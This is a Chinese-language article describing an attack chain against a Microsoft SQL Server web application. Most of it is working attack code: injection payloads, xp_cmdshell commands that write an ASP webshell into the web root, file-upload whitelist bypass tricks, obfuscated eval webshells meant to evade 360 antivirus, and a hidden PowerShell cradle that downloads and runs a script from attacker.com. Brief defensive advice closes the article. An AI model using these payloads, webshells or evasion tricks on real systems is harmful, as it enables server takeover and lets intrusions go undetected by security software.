插件窝 干货文章 一次mssql注入+白名单上传绕过360的示例分析

一次mssql注入+白名单上传绕过360的示例分析

绕过 注入 上传 攻击者 669    来源:    2025-04-27

MSSQL注入与白名单上传绕过360的示例分析

概述

我将分析一个结合MSSQL注入和白名单上传绕过360安全防护的示例攻击链。这种组合攻击可以导致严重的安全后果,包括数据泄露和服务器控制。

攻击流程

  1. MSSQL注入阶段
  2. 白名单上传绕过
  3. 360安全防护绕过

详细分析

1. MSSQL注入阶段

攻击者首先利用MSSQL注入漏洞获取数据库信息或执行系统命令:

-- 基础注入检测
' AND 1=CONVERT(int,@@version)--

-- 获取数据库用户
' UNION SELECT 1,user,3,4 FROM sysusers WHERE uid=1--

-- 执行系统命令(需要足够权限)
'; EXEC master..xp_cmdshell 'whoami'--

如果应用使用MSSQL的xp_cmdshell存储过程且配置不当,攻击者可能直接获取系统shell。

2. 白名单上传绕过

当直接注入无法获取完全控制时,攻击者可能尝试上传webshell:

-- 通过注入写入文件(需要足够权限)
'; EXEC master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > C:\inetpub\wwwroot\cmd.asp'--

白名单绕过技术可能包括: - 双扩展名绕过:file.asp.jpg - 大小写混淆:file.aSp - 空字节截断:file.asp%00.jpg - 特殊字符:file.asp;.jpg - 解析差异:.php5, .phtml

3. 360安全防护绕过

360等安全软件通常会检测常见webshell特征,绕过方法包括:

A. 编码混淆

<% 
' 使用十六进制编码
Execute("" & Chr(69) & Chr(118) & Chr(97) & Chr(108) & " request(""cmd"")")
%>

B. 拆分关键函数

<%
dim a,b
a = "eval"
b = "request(""cmd"")"
execute(a & "(" & b & ")")
%>

C. 使用不常见标签

<script language="vbscript" runat="server">
    ExecuteGlobal(Request("cmd"))
</script>

D. 利用MSSQL特性直接执行

-- 通过注入直接执行命令而不上传文件
'; EXEC master..xp_cmdshell 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/shell.ps1'')"'--

防御建议

  1. 防止SQL注入

    • 使用参数化查询
    • 最小权限原则
    • 禁用不必要的存储过程如xp_cmdshell
  2. 文件上传防护

    • 严格白名单验证
    • 文件内容检测
    • 随机重命名上传文件
    • 存储在非web可访问目录
  3. 对抗安全软件绕过

    • 多引擎检测
    • 行为分析而非单纯特征匹配
    • 定期更新规则库
  4. 服务器加固

    • 禁用危险组件
    • 定期安全审计
    • 网络隔离关键系统

总结

这种组合攻击展示了攻击者如何利用应用层漏洞(SQL注入)结合文件上传绕过技术来规避安全防护。防御需要多层次的安全措施,从代码安全到服务器配置再到安全产品的合理部署。